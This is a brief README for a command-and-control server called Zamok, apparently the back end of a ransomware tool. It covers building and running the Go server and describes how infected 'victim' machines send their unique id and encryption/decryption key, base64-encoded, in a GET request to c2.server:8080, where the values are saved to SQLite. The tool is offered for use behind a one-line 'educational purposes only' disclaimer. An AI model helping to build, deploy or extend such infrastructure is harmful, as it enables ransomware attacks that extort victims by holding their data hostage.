A simple but effective C2 Server for Zamok
- Clone this repository
- Navigate to the project directory and run :
go get
- To build the C2, run :
go build -o zamokc2
You can now start it by simply running :
\./zamokc2
- Starts a listener on port 8080 (the default one; you can change it)
- It expects a GET request from the target/victim
- The GET request is like this :
Where :
GET http://c2.server:8080/<SOME_STRING>
- c2.server is the URL or IP Address where the C2 is running
- SOME_STRING is a base64 string of a unique victim machine id and the encryption/decryption key concatenated with a :
- The C2 breaks down the request and gets the 2 values : the id and the key
- It saves these values to an SQLite database locally
- It displays a banner on the terminal, with the details of the new victim machine
This project is for educational purposes only, and I will not be responsible for
anything malicious you do with it !